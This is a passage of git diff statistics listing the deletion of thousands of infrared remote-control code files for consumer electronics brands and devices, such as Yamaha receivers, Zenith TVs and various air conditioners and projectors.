.../_CSV-IRDB_/Yamaha/Amplifier/122,-1.ir | 176 - .../_CSV-IRDB_/Yamaha/Amplifier/125,-1.ir | 182 - .../_CSV-IRDB_/Yamaha/Blu-Ray/124,-1.ir | 320 - .../_CSV-IRDB_/Yamaha/CD Changer/121,-1.ir | 278 - .../_CSV-IRDB_/Yamaha/CD Changer/122,-1.ir | 80 - .../_CSV-IRDB_/Yamaha/CD Jukebox/121,-1.ir | 326 - .../_CSV-IRDB_/Yamaha/CD Jukebox/122,-1.ir | 8 - .../_CSV-IRDB_/Yamaha/CD Player/121,-1.ir | 1022 -- .../_CSV-IRDB_/Yamaha/CD Player/122,-1.ir | 92 - .../_CSV-IRDB_/Yamaha/CD-R/127,-1.ir | 260 - .../_CSV-IRDB_/Yamaha/Cassette Tape/122,-1.ir | 8 - .../_CSV-IRDB_/Yamaha/Cassette Tape/127,-1.ir | 80 - .../_CSV-IRDB_/Yamaha/DAT/128,55.ir | 344 - .../_CSV-IRDB_/Yamaha/DSP/120,-1.ir | 158 - .../_CSV-IRDB_/Yamaha/DSP/122,-1.ir | 230 - .../_CSV-IRDB_/Yamaha/DSP/4,-1.ir | 44 - .../_CSV-IRDB_/Yamaha/DSP/6,-1.ir | 8 - .../_CSV-IRDB_/Yamaha/DSP/80,-1.ir | 26 - .../_CSV-IRDB_/Yamaha/DSP/87,-1.ir | 86 - .../_CSV-IRDB_/Yamaha/DVD Changer/4,-1.ir | 470 - .../_CSV-IRDB_/Yamaha/DVD Player/124,-1.ir | 1634 -- .../_CSV-IRDB_/Yamaha/DVD Player/176,0.ir | 524 - .../_CSV-IRDB_/Yamaha/DVD Player/4,-1.ir | 1088 -- .../_CSV-IRDB_/Yamaha/DVD Pre-amp/120,-1.ir | 176 - .../_CSV-IRDB_/Yamaha/DVD Pre-amp/124,-1.ir | 254 - .../_CSV-IRDB_/Yamaha/DVD Receiver/120,-1.ir | 188 - .../_CSV-IRDB_/Yamaha/DVD Receiver/124,-1.ir | 116 - .../_CSV-IRDB_/Yamaha/DVD/124,-1.ir | 1022 -- .../_CSV-IRDB_/Yamaha/DVD/176,0.ir | 218 - .../_CSV-IRDB_/Yamaha/DVD/4,-1.ir | 752 - .../_CSV-IRDB_/Yamaha/DVR/120,-1.ir | 218 - .../_CSV-IRDB_/Yamaha/DVR/124,-1.ir | 332 - .../_CSV-IRDB_/Yamaha/DVR/71,-1.ir | 26 - .../_CSV-IRDB_/Yamaha/Laser Disc/124,-1.ir | 152 - .../_CSV-IRDB_/Yamaha/Mini System/120,-1.ir | 266 - .../_CSV-IRDB_/Yamaha/Music Server/128,55.ir | 512 - .../_CSV-IRDB_/Yamaha/Plasma/80,-1.ir | 140 - .../_CSV-IRDB_/Yamaha/Projector/209,-1.ir | 998 - .../_CSV-IRDB_/Yamaha/Projector/240,-1.ir | 140 - .../_CSV-IRDB_/Yamaha/Receiver/0,-1.ir | 8 - .../_CSV-IRDB_/Yamaha/Receiver/0,0.ir | 8 - .../_CSV-IRDB_/Yamaha/Receiver/120,-1.ir | 332 - .../_CSV-IRDB_/Yamaha/Receiver/121,-1.ir | 8 - .../_CSV-IRDB_/Yamaha/Receiver/122,-1.ir | 14996 ---------------- .../_CSV-IRDB_/Yamaha/Receiver/124,-1.ir | 620 - .../_CSV-IRDB_/Yamaha/Receiver/125,-1.ir | 986 - .../_CSV-IRDB_/Yamaha/Receiver/126,-1.ir | 13406 -------------- .../_CSV-IRDB_/Yamaha/Receiver/127,1.ir | 6080 ------- .../_CSV-IRDB_/Yamaha/Receiver/15,-1.ir | 14 - .../_CSV-IRDB_/Yamaha/Receiver/209,-1.ir | 50 - .../_CSV-IRDB_/Yamaha/Receiver/4,-1.ir | 140 - .../_CSV-IRDB_/Yamaha/Receiver/6,-1.ir | 14 - .../_CSV-IRDB_/Yamaha/Receiver/8,-1.ir | 8 - .../Yamaha/Sound Projector/120,-1.ir | 1514 -- .../Yamaha/Sound Projector/126,-1.ir | 452 - .../Yamaha/Stereo Receiver/125,-1.ir | 440 - .../Yamaha/Stereo Receiver/126,-1.ir | 122 - .../_CSV-IRDB_/Yamaha/Tuner/122,-1.ir | 104 - .../_CSV-IRDB_/Yamaha/Tuner/209,-1.ir | 56 - .../_CSV-IRDB_/Yamaha/Unknown_DVD-RC/32,-1.ir | 272 - .../_CSV-IRDB_/Yamaha/Unknown_DVD/69,-1.ir | 182 - .../Yamaha/Unknown_JVCDVD/239,-1.ir | 158 - .../Yamaha/Unknown_RAV-12/122,-1.ir | 218 - .../_CSV-IRDB_/Yamaha/Unknown_RAV14/122,-1.ir | 236 - .../_CSV-IRDB_/Yamaha/Unknown_RAV16/122,-1.ir | 176 - .../Yamaha/Unknown_RAV207/122,-1.ir | 152 - .../Yamaha/Unknown_RCX-750/122,-1.ir | 188 - .../_CSV-IRDB_/Yamaha/Unknown_RCX/122,-1.ir | 116 - .../_CSV-IRDB_/Yamaha/Unknown_RCX2/122,-1.ir | 170 - .../Yamaha/Unknown_RCX660/122,-1.ir | 278 - .../Yamaha/Unknown_RS-CD5/121,-1.ir | 128 - .../Yamaha/Unknown_RS-CX600/122,-1.ir | 56 - .../_CSV-IRDB_/Yamaha/Unknown_RS-K3/127,-1.ir | 62 - .../Yamaha/Unknown_RX-450/122,-1.ir | 62 - .../Yamaha/Unknown_RX-CX800/122,-1.ir | 194 - .../Yamaha/Unknown_RX-V850/122,-1.ir | 278 - .../Yamaha/Unknown_TX-1000/209,-1.ir | 56 - .../Yamaha/Unknown_V499920/122,-1.ir | 164 - .../Yamaha/Unknown_VI47320/209,-1.ir | 56 - .../Yamaha/Unknown_VI77760/127,-1.ir | 164 - .../Yamaha/Unknown_VJ59810/121,-1.ir | 116 - .../Yamaha/Unknown_VJI5420/121,-1.ir | 176 - .../Yamaha/Unknown_VK34080/121,-1.ir | 122 - .../Yamaha/Unknown_VK38010/122,-1.ir | 188 - .../Yamaha/Unknown_VM70300/122,-1.ir | 314 - .../Yamaha/Unknown_VP59040/122,-1.ir | 188 - .../Yamaha/Unknown_VQ95010/121,-1.ir | 182 - .../Yamaha/Unknown_VR81350/123,-1.ir | 116 - .../Yamaha/Unknown_VU71330/121,-1.ir | 182 - .../Yamaha/Unknown_Y-TV-1004/4,-1.ir | 98 - .../Yamaha/Unknown_YAMAHA/122,-1.ir | 200 - .../_CSV-IRDB_/Yamaha/Unknown_av/122,-1.ir | 242 - .../Yamaha/Unknown_cdx-493/121,-1.ir | 194 - .../_CSV-IRDB_/Yamaha/Unknown_rax9/122,-1.ir | 164 - .../Yamaha/Unknown_receiver/122,-1.ir | 104 - .../Yamaha/Unknown_vu50620/120,-1.ir | 272 - .../Yamaha/Unknown_yamaha-amp/122,-1.ir | 248 - .../Yamaha/Unknown_yamaha-rax7/122,-1.ir | 170 - .../Yamaha/Video Projector/209,-1.ir | 158 - .../_CSV-IRDB_/Yamaha/iPod Dock/127,1.ir | 74 - .../_CSV-IRDB_/Yamakawa/DVD Player/32,-1.ir | 260 - .../Yamakawa/Unknown_dvd285vga/32,-1.ir | 266 - .../Yuan/Unknown_SmartVDO/128,-1.ir | 224 - .../Zalman/Unknown_HD160XT/115,154.ir | 260 - .../_CSV-IRDB_/Zehnder/Unknown_VCR/3,-1.ir | 152 - .../_CSV-IRDB_/Zenith/TV/5,1.ir | 224 - .../_CSV-IRDB_/Zenith/TV/7,0.ir | 50 - .../_CSV-IRDB_/Zenith/TV/7,1.ir | 14 - .../Zenith/Unknown_AKB36157102/247,-1.ir | 230 - .../_CSV-IRDB_/Zenith/Unknown_C32V37/4,-1.ir | 254 - .../_CSV-IRDB_/Zenith/Unknown_TV/4,-1.ir | 110 - .../_CSV-IRDB_/Zenith/Unknown_VCR/2,-1.ir | 122 - .../Zenith/Unknown_ZN5015/26,154.ir | 194 - .../_CSV-IRDB_/Zenith/VCR/7,0.ir | 182 - .../_CSV-IRDB_/Zenith/Video Projector/5,1.ir | 116 - .../_CSV-IRDB_/Zenith/Video Projector/6,0.ir | 86 - .../_CSV-IRDB_/Zephir/ZDEBT2/0,191.ir | 266 - .../Zinwell/Satellite Receiver/64,223.ir | 158 - .../_CSV-IRDB_/Zolid/Unknown_ZOL100/0,239.ir | 146 - .../Zoltrix/Unknown_Zoltrix/0,252.ir | 128 - .../Zyxel/Unknown_DMA-1000/8,230.ir | 284 - .../_CSV-IRDB_/anysee/Unknown_anysee/8,-1.ir | 266 - .../audiosonic/Unknown_TXCD-1240/129,129.ir | 92 - .../_CSV-IRDB_/cenOmax/Unknown_F702/2,255.ir | 62 - .../daytron/Unknown_daytron/4,-1.ir | 68 - .../_CSV-IRDB_/dual/Unknown_dual/68,-1.ir | 170 - .../eltax/Unknown_corniche/0,246.ir | 272 - .../_CSV-IRDB_/fenner/Unknown_fenner/95,0.ir | 170 - .../_CSV-IRDB_/huth/Unknown_prof/15,1.ir | 188 - .../_CSV-IRDB_/iPort/MP3 Player/1,222.ir | 164 - .../_CSV-IRDB_/iPort/iPod/1,222.ir | 164 - .../_CSV-IRDB_/iPort/iPort/1,222.ir | 158 - .../imon/Unknown_MultiMedian/6,-1.ir | 272 - .../_CSV-IRDB_/ione/Unknown_remote/0,-1.ir | 248 - .../italtel/Unknown_italtel/1,-1.ir | 170 - .../kendo/Unknown_RC-610/134,124.ir | 170 - .../_CSV-IRDB_/konig/Unknown_konig/128,99.ir | 260 - .../_CSV-IRDB_/kosmos/Unknown_kosmos/8,-1.ir | 128 - .../mStation/Unknown_mStation/64,175.ir | 74 - .../media-tech/Unknown_RUMBA/128,-1.ir | 116 - .../_CSV-IRDB_/mivar/Unknown_mivar/7,-1.ir | 182 - .../multiTEC/Unknown_multiTEC/7,-1.ir | 158 - .../oceanic/Unknown_oceanic/1,-1.ir | 116 - .../_CSV-IRDB_/orion/Unknown_RC-CB/128,88.ir | 170 - .../_CSV-IRDB_/orion/Unknown_TV-713/0,-1.ir | 236 - .../orion/Unknown_orion-RC57/128,126.ir | 44 - .../_CSV-IRDB_/orion/Unknown_orion/128,123.ir | 218 - .../palmbutler/Unknown_palmbutler/7,-1.ir | 248 - .../_CSV-IRDB_/remotec/Unknown_TV/0,-1.ir | 152 - .../remotec/Unknown_remotec/0,-1.ir | 152 - .../remotec/Unknown_remotec1072/5,-1.ir | 140 - .../_CSV-IRDB_/remotec/Unknown_rm200/1,-1.ir | 140 - .../_CSV-IRDB_/roadstar/Unknown_dvd/136,-1.ir | 242 - .../_CSV-IRDB_/rubin/Unknown_rubin/0,-1.ir | 230 - .../starhub/Unknown_starhub/33,144.ir | 248 - .../_CSV-IRDB_/sun/Unknown_sun/26,9.ir | 122 - .../_CSV-IRDB_/trio/Unknown_xms007/8,-1.ir | 176 - .../_CSV-IRDB_/universum/SAT/97,135.ir | 122 - .../_CSV-IRDB_/universum/SAT_SR420/15,-1.ir | 176 - .../universum/Unknown_universum/0,-1.ir | 308 - .../universum/Unknown_universum/16,16.ir | 266 - .../_CSV-IRDB_/universum/VCR/128,123.ir | 266 - .../_CSV-IRDB_/universum/VCR_VR743A/5,-1.ir | 176 - .../videologic/Unknown_rm201/134,107.ir | 80 - .../viewmaxpro/Unknown_viewmaxpro/32,64.ir | 206 - .../_CSV-IRDB_/xsat/Unknown_xsat/34,-1.ir | 218 - 3321 files changed, 692490 deletions(-) delete mode 100644 assets/ir_optional_assets/optional-assets/ACs/Dreo/Dreo_Heater.ir delete mode 100644 assets/ir_optional_assets/optional-assets/ACs/Dyson/Dyson_Air_Multiplier.ir delete mode 100644 assets/ir_optional_assets/optional-assets/ACs/Dyson/Dyson_HP09.ir delete mode 100644 assets/ir_optional_assets/optional-assets/ACs/GoldenVantage/GoldenVantage_AF510_Fireplace.ir delete mode 100644 assets/ir_optional_assets/optional-assets/ACs/Homedics/Homedics_Humidifier.ir delete mode 100644 assets/ir_optional_assets/optional-assets/ACs/JETTools/JETTools_AFS-1000B.ir delete mode 100644 assets/ir_optional_assets/optional-assets/ACs/Koldfront/Koldfront_WAC12001.ir delete mode 100644 assets/ir_optional_assets/optional-assets/ACs/Koldfront_wac12001.ir delete mode 100644 assets/ir_optional_assets/optional-assets/ACs/LG/LG_AC.ir delete mode 100644 assets/ir_optional_assets/optional-assets/ACs/Lasko/Lasko_Fan.ir delete mode 100644 assets/ir_optional_assets/optional-assets/ACs/Lasko/Lasko_Fan_Simple.ir delete mode 100644 assets/ir_optional_assets/optional-assets/ACs/Lasko/Lasko_Heater.ir delete mode 100644 assets/ir_optional_assets/optional-assets/ACs/Pelonis_PFS40D6ABB.ir delete mode 100644 assets/ir_optional_assets/optional-assets/ACs/Vornado/Vornado.ir delete mode 100644 assets/ir_optional_assets/optional-assets/ACs/Whynter/Whynter_AC.ir delete mode 100644 assets/ir_optional_assets/optional-assets/ACs/Zenith/Zenith_AC.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Amino_amigo.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Amz_snd_bar.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Apple_tv.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Audio Receivers/Onkyo/Onkyo.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Audio Receivers/Onkyo/Onkyo_RC627S.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Audio Receivers/Sony/Sony_MHC-GS300AV.ir delete mode 100644 assets/ir_optional_assets/optional-assets/BenQ.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Blu-Ray/LG/LG_BlueRay.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Blu-Ray/Toshiba/Toshiba_SE-R0398.ir delete mode 100644 assets/ir_optional_assets/optional-assets/CCTV/BrandUnknown/Szxlcom_cams.ir delete mode 100644 assets/ir_optional_assets/optional-assets/CCTV/MarshallElectronics/Marshall_CV610.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Cable Boxes/Amino/Amino_Amigo.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Cable Boxes/DIRECTV/DIRECTV.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Cable Boxes/Telus/Telus_OptikTV.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Cameras/Sony/Nikon.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Cameras/Sony/Sony.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Casio-Projector_yt130.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Consoles/Microsoft/Xbox.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Converters/RME/RME_ADI-2_DAC_FS.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Converters/ReadMe.md delete mode 100644 assets/ir_optional_assets/optional-assets/Cv610_remote.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Da_lite_proj_scrn.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Direct_tv.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Dragonfly_scrn.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Dreo_heater.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Dyson_air_multiplier.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Dyson_hp09.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Epson.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Hdmi_switch.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Head Units/GPX/GPX_CDRadio.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Head Units/Pioneer/Pioneer_DMH-1770NEX.ir delete mode 100644 assets/ir_optional_assets/optional-assets/LED Lighting/Amazon/Amazon_LED_Lights.ir delete mode 100644 assets/ir_optional_assets/optional-assets/LED Lighting/BrandUnknown/44_Button_LED.ir delete mode 100644 assets/ir_optional_assets/optional-assets/LED Lighting/BrandUnknown/Color_Change_Bulb_Remote.ir delete mode 100644 assets/ir_optional_assets/optional-assets/LED Lighting/BrandUnknown/DMX_Light.ir delete mode 100644 assets/ir_optional_assets/optional-assets/LED Lighting/BrandUnknown/LEDStrip.ir delete mode 100644 assets/ir_optional_assets/optional-assets/LED Lighting/BrandUnknown/LED_44Key.ir delete mode 100644 assets/ir_optional_assets/optional-assets/LED Lighting/BrandUnknown/Light_Strip.ir delete mode 100644 assets/ir_optional_assets/optional-assets/LED Lighting/BrandUnknown/Magic_Lighting_Remote.ir delete mode 100644 assets/ir_optional_assets/optional-assets/LED Lighting/BrandUnknown/Practical_Series_2.ir delete mode 100644 assets/ir_optional_assets/optional-assets/LED Lighting/MonsterIlluminessence/MonsterIlluminessence_LED.ir delete mode 100644 assets/ir_optional_assets/optional-assets/LED Lighting/mlambert_rope_light.ir delete mode 100644 assets/ir_optional_assets/optional-assets/LG_AC.ir delete mode 100644 assets/ir_optional_assets/optional-assets/LG_BlueRay.ir delete mode 100644 assets/ir_optional_assets/optional-assets/LG_C1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Lasko_fan.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Lasko_heater.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Miscellaneous/AMI/AMI_Jukebox.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Miscellaneous/HDMI_Switch.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Miscellaneous/Hasbro/Furby/Furby.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Miscellaneous/LG/LG.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Miscellaneous/LaserX/LaserX_Tag.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Miscellaneous/ReadMe.md delete mode 100644 assets/ir_optional_assets/optional-assets/NEC.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Nikon.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Old_sonyxbr.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Panasonic_TC-P50S2.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Pioneer_1770nex.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Projectors/BenQ/BenQ.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Projectors/BrandUnknown/LED Smart Home Theater Projector.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Projectors/BrandUnknown/README.md delete mode 100644 assets/ir_optional_assets/optional-assets/Projectors/BrandUnknown/Scrn_innov.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Projectors/BrandUnknown/Stlth_acou.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Projectors/Casio/Casio_YT-130.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Projectors/Da-Lite/Da-Lite_ProjectorScreen.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Projectors/Dragonfly/Dragonfly_Screen.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Projectors/Epson/Epson.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Roku.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Roku2.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Samsung.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Samsung_TV.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Samsung_e6.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Scrn_innov.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Sharp_Roku_TV.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Sonyxbr.ir delete mode 100644 assets/ir_optional_assets/optional-assets/SoundBars/Bose/Bose_Solo_2.ir delete mode 100644 assets/ir_optional_assets/optional-assets/SoundBars/Bose/Bose_Solo_5.ir delete mode 100644 assets/ir_optional_assets/optional-assets/SoundBars/Bose/Bose_Soundbar.ir delete mode 100644 assets/ir_optional_assets/optional-assets/SoundBars/BrandUnknown/Amz_snd_bar.ir delete mode 100644 assets/ir_optional_assets/optional-assets/SoundBars/BrandUnknown/Soundblasterx.ir delete mode 100644 assets/ir_optional_assets/optional-assets/SoundBars/Klipsch/Klipsch_Soundbar.ir delete mode 100644 assets/ir_optional_assets/optional-assets/SoundBars/Samsung.ir delete mode 100644 assets/ir_optional_assets/optional-assets/SoundBars/Sony/Sony_MHC-GS300AV.ir delete mode 100644 assets/ir_optional_assets/optional-assets/SoundBars/Sony/Sony_Old_XBR.ir delete mode 100644 assets/ir_optional_assets/optional-assets/SoundBars/Sony/Sony_RDH-GTK33IP.ir delete mode 100644 assets/ir_optional_assets/optional-assets/SoundBars/Vizio/Vizio_Soundbar.ir delete mode 100644 assets/ir_optional_assets/optional-assets/SoundBars/Yamaha/Yamaha_RX.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Stlth_acou.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Streaming Devices/Apple/Apple_TV.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Streaming Devices/Roku/Jet_AFS-1000b.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Streaming Devices/Roku/Roku.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Streaming Devices/Roku/Roku2.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Streaming Devices/Roku/Roku_Alternate.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Sunbrite.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Szxlcom_cams.ir delete mode 100644 assets/ir_optional_assets/optional-assets/TVs/APEX LE4643T TV.ir delete mode 100644 assets/ir_optional_assets/optional-assets/TVs/Hisense/Hisense_RokuTV.ir delete mode 100644 assets/ir_optional_assets/optional-assets/TVs/LG/LG_C1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/TVs/LG_55UN7300AUD.ir delete mode 100644 assets/ir_optional_assets/optional-assets/TVs/NEC/NEC.ir delete mode 100644 assets/ir_optional_assets/optional-assets/TVs/Panasonic/Panasonic_TC-P50S2.ir delete mode 100644 assets/ir_optional_assets/optional-assets/TVs/Philips/Philips_32PFL4208T.ir delete mode 100644 assets/ir_optional_assets/optional-assets/TVs/Samsung/Samsung.ir delete mode 100644 assets/ir_optional_assets/optional-assets/TVs/Samsung/Samsung_BN59.ir delete mode 100644 assets/ir_optional_assets/optional-assets/TVs/Samsung/Samsung_BN5901301A.ir delete mode 100644 assets/ir_optional_assets/optional-assets/TVs/Samsung/Samsung_E6.ir delete mode 100644 assets/ir_optional_assets/optional-assets/TVs/Samsung/Samsung_TV.ir delete mode 100644 assets/ir_optional_assets/optional-assets/TVs/Sharp/Sharp_Roku_TV.ir delete mode 100644 assets/ir_optional_assets/optional-assets/TVs/Sony/Sony_Bravia.ir delete mode 100644 assets/ir_optional_assets/optional-assets/TVs/Sony/Sony_XBR.ir delete mode 100644 assets/ir_optional_assets/optional-assets/TVs/Sony/Sony_XBR_RMT-TX200U.ir delete mode 100644 assets/ir_optional_assets/optional-assets/TVs/Sunbrite/Sunbrite.ir delete mode 100644 assets/ir_optional_assets/optional-assets/TVs/TCL/TCL_32S327.ir delete mode 100644 assets/ir_optional_assets/optional-assets/TVs/TCL/TCL_UnknownModel1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/TVs/TCL/TCL_UnknownModel2.ir delete mode 100644 assets/ir_optional_assets/optional-assets/TVs/Toshiba/Toshiba_32AV502U.ir delete mode 100644 assets/ir_optional_assets/optional-assets/TVs/Vizio/Vizio.ir delete mode 100644 assets/ir_optional_assets/optional-assets/TVs/Westinghouse/Westinghouse.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Tcl.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Tcl_32s327.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Tcl_tv.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Vizio.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Vizio_Soundbar.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Vornado.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Westinghouse.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Whynter_AC.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Xbox.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Yamaha_rx.ir delete mode 100644 assets/ir_optional_assets/optional-assets/Zenith_AC.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/2wire/Unknown_2wire/32,159.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/3M/Projector/134,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/3M/Video Projector/134,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ABIT/DVD_WINDVD/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ABS/SAT_8776/8,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ADA/Millenium/27,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ADB/SAT_ICAN3000/8,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ADB/Set Top Box/42,17.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ADS/AUDIO_Tech/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ADS/TV_Instant/2,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/AIM/MCE_AIM-RC126/4,15.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/AIM/RADIO/129,129.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ANITECH/TV/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/AOC/TV/0,189.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/AccessHD/CONVERTER_DTA1080U/0,191.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/AccessMedia/ThinBox/31,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Accupel/Signal Generator/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Acer/Projector/8,19.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Acer/Unknown_AT3201W/97,99.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Acer/Unknown_Aspire/4,15.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Acer/Unknown_RC-802/16,37.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Acesonic/Karaoke/5,122.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Acesonic/Karaoke/77,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aconatic/Unknown_AN-2121/2,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Acorp/Unknown_Acorp-878/134,107.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/AV Preamplifier/26,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/CD Player/26,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Pre-Amplifier/232,26.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Pre-Amplifier/26,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Pre-Amplifier/26,232.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Pre-Amplifier/81,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Pre-Amplifier/88,23.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Receiver/26,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Receiver/26,232.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Receiver/81,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Surround Processor/26,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Tuner/26,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Unknown/26,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Unknown/81,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adelphia/Cable Box/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adelphia/Cable Box/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adelphia/Cable Box/27,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Advanced Acoustics/Unknown_Acoustic/36,75.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aesthetix/Pre-Amplifier/16,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Airmate/Fan/3,1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/CD Player/118,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Cassette Tape/115,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Mini System/110,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Receiver/12,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Receiver/13,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Receiver/16,-1.ir delete mode 100644 